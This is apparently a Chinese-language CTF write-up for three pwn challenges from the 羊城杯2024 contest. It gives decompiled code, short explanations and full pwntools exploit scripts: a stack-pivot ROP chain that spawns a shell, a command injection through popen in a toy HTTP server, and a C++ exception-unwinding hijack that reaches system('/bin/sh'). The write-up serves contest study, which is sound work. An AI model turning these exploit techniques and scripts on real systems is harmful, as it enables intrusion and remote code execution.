nyyyddddn

羊城杯2024pwn

2024/09/04

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2024pwn

pstack

程序逻辑非常简单,存在栈溢出只能覆盖返回地址,没有pie,通过二次栈迁移,控制rbp来实现任意地址写,然后第一次栈迁移往bss写满泄露地址的rop,之后二次迁移过去执行就可以执行rop,第一次rop泄露地址,第二次rop直接getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "139.155.126.78"
PORT = 32922
elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

rdi=0x0000000000400773
rbp=0x00000000004005b0
leave_ret=0x4006DB
ret=0x4006DC
vuln=0x4006C4

payload = flat([
b'a' * 0x30,0x601730,vuln
])
sa("Can you grasp this little bit of overflow?",payload)

payload = flat([
rdi,elf.got['read'],elf.plt['puts'],
rbp,0x601a30,vuln,
0x6016f8,leave_ret
])
s(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) -libc.sym['read']
success(hex(libc_base))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = flat([
rdi,binsh,system,b'a' * 0x18,
0x6019f8,leave_ret
])
s(payload)

p.interactive()

httpd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // eax
int result; // eax
int v6; // eax
int v7; // eax
struct tm *v8; // eax
__time_t tv_sec; // edi
int st_size; // esi
const char *v11; // eax
struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
int v13; // [esp+Ch] [ebp-14130h] BYREF
int v14; // [esp+10h] [ebp-1412Ch] BYREF
int v15; // [esp+14h] [ebp-14128h] BYREF
int v16; // [esp+18h] [ebp-14124h] BYREF
char v17; // [esp+1Ch] [ebp-14120h] BYREF
char *haystack; // [esp+20h] [ebp-1411Ch]
int i; // [esp+24h] [ebp-14118h]
size_t v20; // [esp+28h] [ebp-14114h]
char *has_host; // [esp+2Ch] [ebp-14110h]
char *v22; // [esp+30h] [ebp-1410Ch]
int stdout_fd; // [esp+34h] [ebp-14108h]
int v24; // [esp+38h] [ebp-14104h]
FILE *stream; // [esp+3Ch] [ebp-14100h]
int v26; // [esp+40h] [ebp-140FCh]
FILE *v27; // [esp+44h] [ebp-140F8h]
int c; // [esp+48h] [ebp-140F4h]
struct stat v29; // [esp+4Ch] [ebp-140F0h] BYREF
char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
char v31[16]; // [esp+A8h] [ebp-14094h] BYREF
char v32[116]; // [esp+B8h] [ebp-14084h] BYREF
char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
char input_data[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
char httpMethod[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
char requestPath; // [esp+56C0h] [ebp-EA7Ch] BYREF
char v37[9999]; // [esp+56C1h] [ebp-EA7Bh] BYREF
char httpVersion[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
char v40[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
__int64 v41; // [esp+12FE4h] [ebp-1158h]
char *v42; // [esp+12FECh] [ebp-1150h]
int v43; // [esp+1312Ch] [ebp-1010h] BYREF
unsigned int v44; // [esp+14120h] [ebp-1Ch]
int *p_argc; // [esp+1412Ch] [ebp-10h]

p_argc = &argc;
while ( &v43 != (int *)v33 )
;
v44 = __readgsdword(0x14u);
memset(&v33[884], 0, 1024);
v20 = 0;
strcpy(modes, "r");
if ( chdir("/home/ctf/html") < 0 )
puts_error(500, (int)"Internal Error", 0, "Config error - couldn't chdir().");
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "No request found.");
if ( __isoc99_sscanf(input_data, "%[^ ] %[^ ] %[^ ]", httpMethod, &requestPath, httpVersion) != 3 )
puts_error(400, (int)"Bad Request", 0, "Can't parse request.");
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "Missing Host.");
has_host = strstr(input_data, "Host: ");
if ( !has_host )
puts_error(400, (int)"Bad Request", 0, "Missing Host.");
v22 = strstr(has_host + 6, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(has_host + 6, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(has_host + 6) <= 7 )
puts_error(400, (int)"Bad Request", 0, "Host len error.");
if ( has_host == (char *)-6 || !has_host[6] )
puts_error(400, (int)"Bad Request", 0, "Host fmt error.");
v42 = &v17;
HIDWORD(v41) = &v16;
__isoc99_sscanf(has_host + 6, "%d.%d.%d.%d%c", &v13, &v14, &v15);
if ( !fgets(input_data, 10000, stdin) )
puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
has_host = strstr(input_data, "Content-Length: ");
if ( !has_host )
puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
v22 = strstr(has_host + 16, "\r\n");
if ( v22 )
{
*v22 = 0;
}
else
{
v22 = strchr(has_host + 16, (int)"\n");
if ( v22 )
*v22 = 0;
}
if ( strlen(has_host + 16) > 5 )
puts_error(400, (int)"Bad Request", 0, "Content-Length len too long.");
if ( strcasecmp(httpMethod, "get") )
puts_error(501, (int)"Not Implemented", 0, "That method is not implemented.");
if ( strncmp(httpVersion, "HTTP/1.0", 8u) )
puts_error(400, (int)"Bad Request", 0, "Bad protocol.");
if ( requestPath != 47 )
puts_error(400, (int)"Bad Request", 0, "Bad filename.");
haystack = v37;
urldecode(v37, v37);
if ( !*haystack )
haystack = "./";
v20 = strlen(haystack);
if ( *haystack == '/' // 目录穿越检查
|| !strcmp(haystack, "..")
|| !strncmp(haystack, "../", 3u)
|| strstr(haystack, "/../")
|| !strcmp(&haystack[v20 - 3], "/..") )
{
puts_error(400, (int)"Bad Request", 0, "Illegal filename.");
}
if ( !sub_1F74(haystack) )
puts_error(404, (int)"Not Found", 0, "Invalid file name.");
v3 = fileno(stdout);
stdout_fd = dup(v3);
v4 = fileno(stderr);
v24 = dup(v4);
freopen("/dev/null", "w", stdout);
freopen("/dev/null", "w", stderr);
stream = popen(haystack, modes);
if ( stream )
{
pclose(stream);
v6 = fileno(stdout);
dup2(stdout_fd, v6);
v7 = fileno(stderr);
dup2(v24, v7);
close(stdout_fd);
close(v24);
if ( stat(haystack, &v29) < 0 )
puts_error(404, (int)"Not Found", 0, "File not found.");
if ( (v29.st_mode & 0xF000) == 0x4000 )
{
if ( haystack[v20 - 1] != 47 )
{
snprintf(v40, 0x4E20u, "Location: %s/", &requestPath);
puts_error(302, (int)"Found", (int)v40, "Directories must end with a slash.");
}
snprintf(file, 0x4E20u, "%sindex.html", haystack);
if ( stat(file, &v29) < 0 )
{
sub_23D9(200, "Ok", 0, (int)"text/html", -1, v29.st_mtim.tv_sec);
v26 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort);
if ( v26 >= 0 )
{
for ( i = 0; i < v26; ++i )
{
sub_2704(v32, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
if ( lstat(file, &v29) >= 0 )
{
v8 = localtime(&v29.st_mtim.tv_sec);
strftime(v31, 0x10u, "%d%b%Y %H:%M", v8);
printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v32, namelist[i]->d_name, v31, (__int64)v29.st_size);
sub_20C6(file);
}
else
{
printf("<a href=\"%s\">%-32.32s</a> ???\n", v32, namelist[i]->d_name);
}
printf(
"</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
"https://2024ycb.dasctf.com/",
"YCB2024");
}
}
else
{
perror("scandir");
}
goto LABEL_74;
}
haystack = file;
}
v27 = fopen(haystack, "r");
if ( !v27 )
puts_error(403, (int)"Forbidden", 0, "File is protected.");
tv_sec = v29.st_mtim.tv_sec;
st_size = v29.st_size;
v11 = sub_2566(haystack);
sub_23D9(200, "Ok", 0, (int)v11, st_size, tv_sec);
while ( 1 )
{
c = getc(v27);
if ( c == -1 )
break;
putchar(c);
}
LABEL_74:
fflush(stdout);
exit(0);
}
result = -1;
if ( v44 != __readgsdword(0x14u) )
check_canary();
return result;
}

程序的逻辑很长,实现了一个http request parse,然后相应请求,大多数逻辑都是对http request的格式做判断,还有目录穿越的检查

漏洞出在这里popen这里

这个popen会fork一个子进程,然后调用shell,把参数传过去,也没有做过滤,所以可以通过这里执行命令

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "139.155.126.78"
PORT = 30523
elf = context.binary = ELF('./httpd')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

payload = flat([
b'GET ',b'/cat%20%2Fflag%20%3E%20flag.txt ',b'HTTP/1.0\r\n',
b'Host: 00.00.00.00\r\n',
b'Content-Length: 0\r\n'
])
p.send(payload)
p.close()

p = connect()
payload = flat([
b'GET ',b'/flag.txt ',b'HTTP/1.0\r\n',
b'Host: 00.00.00.00\r\n',
b'Content-Length: 0\r\n'
])
p.send(payload)

p.interactive()

logger

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choice; // [rsp+4h] [rbp-7Ch] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-18h]

v4 = __readfsqword(0x28u);
init_io(a1, a2, a3);
choice = 0;
while ( 1 )
{
menu();
scanf("%d", &choice);
if ( choice == 3 )
{
puts("Bye!");
exit(0);
}
if ( choice > 3 )
{
LABEL_10:
puts("Wrong!");
}
else if ( choice == 1 )
{
Trace();
}
else
{
if ( choice != 2 )
goto LABEL_10;
warn();
}
}
}

int init_io()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}

unsigned __int64 Trace()
{
int i; // [rsp+Ch] [rbp-24h]
int j; // [rsp+Ch] [rbp-24h]
int v3; // [rsp+10h] [rbp-20h]
__int16 v4; // [rsp+26h] [rbp-Ah] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
printf("\nYou can record log details here: ");
fflush(stdout);
for ( i = 0; i <= 8 && byte_404020[16 * i]; ++i )
;
if ( i <= 8 )
{
byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10uLL)] = 0;
printf("Do you need to check the records? ");
fflush(stdout);
v4 = 0;
scanf("%1s", &v4);
if ( (_BYTE)v4 == 121 || (_BYTE)v4 == 89 )
{
v3 = 8;
for ( j = 0; j <= 8 && byte_404020[16 * j] && v3; ++j )
{
printf("\x1B[31mRecord%d. %.16s\x1B[0m", (unsigned int)(j + 1), &byte_404020[16 * j]);
--v3;
}
}
else if ( (_BYTE)v4 != 110 && (_BYTE)v4 != 78 )
{
puts("Invalid input. Please enter 'y' or 'n'.");
exit(0);
}
}
else
{
puts("Records have been filled :(");
}
return v5 - __readfsqword(0x28u);
}

unsigned __int64 warn()
{
unsigned __int64 v0; // rax
_QWORD *exception; // rax
__int64 v3; // [rsp+8h] [rbp-78h]
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
__int64 v5[4]; // [rsp+20h] [rbp-60h] BYREF
__int64 v6[5]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+68h] [rbp-18h]

v7 = __readfsqword(0x28u);
clean_up(buf);
memset(v5, 0, sizeof(v5));
sub_4014FD(v5, 32LL);
printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5);
printf("[!] Type your message here plz: ");
fflush(stdout);
v0 = read(0, buf, 0x100uLL);
HIBYTE(v3) = HIBYTE(v0);
buf[v0 - 1] = 0;
if ( v0 > 0x10 )
{
memcpy(byte_404200, buf, sizeof(byte_404200));
strcpy(dest, src);
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, byte_404200, 0x100uLL);
puts(dest);
exception = __cxa_allocate_exception(8uLL);
*exception = src;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
}
memcpy(byte_404100, buf, sizeof(byte_404100));
memset(v6, 0, 32);
sub_4014FD(v6, 32LL);
printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6);
sub_401CCA(buf);
return v7 - __readfsqword(0x28u);
}

程序有两个漏洞 Trace函数循环边界没有处理好 有一个越界写的漏洞,可以把buffer overflow这个字段覆盖一部分

1
2
3
4
5
6
7
.data:0000000000404020 00 0A 00 00 00 00 00 00 00 00+byte_404020 db 0, 0Ah, 7Eh dup(0)       ; DATA XREF: Trace+58↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+ ; Trace+9F↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+ ; Trace+CE↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+ ; Trace+147↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+ ; Trace+168↑o
.data:00000000004040A0 ; char src[]
.data:00000000004040A0 42 75 66 66 65 72 20 4F 76 65+src db 'Buffer Overflow',0

warn有一个栈溢出的漏洞,但是有一个输入长度的检查,如果输入长度 > 0x10就会进到异常处理的逻辑然后throw一个buffer overflow的字段,由外面一层函数的catch捕获后 handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 warn()
{
unsigned __int64 v0; // rax
_QWORD *exception; // rax
__int64 v3; // [rsp+8h] [rbp-78h]
char buf[16]; // [rsp+10h] [rbp-70h] BYREF
__int64 v5[4]; // [rsp+20h] [rbp-60h] BYREF
__int64 v6[5]; // [rsp+40h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+68h] [rbp-18h]

v7 = __readfsqword(0x28u);
clean_up(buf);
memset(v5, 0, sizeof(v5));
sub_4014FD(v5, 32LL);
printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5);
printf("[!] Type your message here plz: ");
fflush(stdout);
v0 = read(0, buf, 0x100uLL);
HIBYTE(v3) = HIBYTE(v0);
buf[v0 - 1] = 0;
if ( v0 > 0x10 )
{
memcpy(byte_404200, buf, sizeof(byte_404200));
strcpy(dest, src);
strcpy(&dest[strlen(dest)], ": ");
strncat(dest, byte_404200, 0x100uLL);
puts(dest);
exception = __cxa_allocate_exception(8uLL);
*exception = src;
__cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
}
memcpy(byte_404100, buf, sizeof(byte_404100));
memset(v6, 0, 32);
sub_4014FD(v6, 32LL);
printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6);
sub_401CCA(buf);
return v7 - __readfsqword(0x28u);
}

cpp的异常处理围绕着三个步骤进行处理,unwind cleanup handler,unwind会调用一些函数来判断当前栈帧中有没有能处理异常的逻辑,如果有就会把控制权转移到那边处理异常,如果没有,unwind就会找父函数有没有处理异常的逻辑,具体是怎么找的,是通过rbp和 rbp + 8 去确定父函数的栈帧位置,当前函数找不到就会调用cleanup去清理资源,然后根据rbp和rbp + 8去回溯到上一个栈帧那,直到unwind找到一个可以捕获异常的逻辑,就会把控制权转交过去然后由这段逻辑进行handler。

如果把rbp + 8覆盖成一个其他的try块的地址,就能扰乱unwind栈展开的流程,logger中有一段backdoor 也是catch一个字符串类型的异常,通过覆盖返回地址就可以把控制流劫持到这个位置执行backdoor,先通过上面的越界写去写一个binsh的字符串,然后覆盖返回地址扰乱unwind的流程 使这个异常被backdoor handler处理,最后getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.text:0000000000401BC2                               ;   try {
.text:0000000000401BC2 E8 69 F7 FF FF call ___cxa_throw
.text:0000000000401BC2 ; } // starts at 401BC2
.text:0000000000401BC2
.text:0000000000401BC7 ; ---------------------------------------------------------------------------
.text:0000000000401BC7 ; catch(char const*) // owned by 401BC2
.text:0000000000401BC7 F3 0F 1E FA endbr64
.text:0000000000401BCB 48 83 FA 01 cmp rdx, 1
.text:0000000000401BCF 74 08 jz short loc_401BD9
.text:0000000000401BCF
.text:0000000000401BD1 48 89 C7 mov rdi, rax
.text:0000000000401BD4 E8 67 F7 FF FF call __Unwind_Resume
.text:0000000000401BD4
.text:0000000000401BD9 ; ---------------------------------------------------------------------------
.text:0000000000401BD9
.text:0000000000401BD9 loc_401BD9: ; CODE XREF: .text:0000000000401BCF↑j
.text:0000000000401BD9 48 89 C7 mov rdi, rax
.text:0000000000401BDC E8 FF F5 FF FF call ___cxa_begin_catch
.text:0000000000401BDC
.text:0000000000401BE1 48 89 45 E8 mov [rbp-18h], rax
.text:0000000000401BE5 48 8B 45 E8 mov rax, [rbp-18h]
.text:0000000000401BE9 48 89 C6 mov rsi, rax
.text:0000000000401BEC 48 8D 05 AD 06 00 00 lea rax, aAnExceptionOfT_1 ; "[-] An exception of type String was cau"...
.text:0000000000401BF3 48 89 C7 mov rdi, rax
.text:0000000000401BF6 B8 00 00 00 00 mov eax, 0
.text:0000000000401BFB ; try {
.text:0000000000401BFB E8 D0 F5 FF FF call _printf
.text:0000000000401BFB
.text:0000000000401C00 48 8B 45 E8 mov rax, [rbp-18h]
.text:0000000000401C04 48 89 C7 mov rdi, rax
.text:0000000000401C07 E8 54 F6 FF FF call _system
.text:0000000000401C07 ; }

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr

b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)

b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)

return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )

p = connect()

binsh = 0x4040A0

for i in range(8):
sla("Your chocie:", str(1))
sla("here: ", b'a' * 0x10)
sla("records? ", b'n')

sla("Your chocie:", str(1))
sla("here: ", b'/bin/sh;')
sla("records? ", b'n')


sla("Your chocie:", str(2))
payload = b'a' * 0x70 + p64(binsh) + p64(0x401bc7)
sa("plz: ", payload)


p.interactive()
CATALOG
  1. 1. pstack
  2. 2. httpd
  3. 3. logger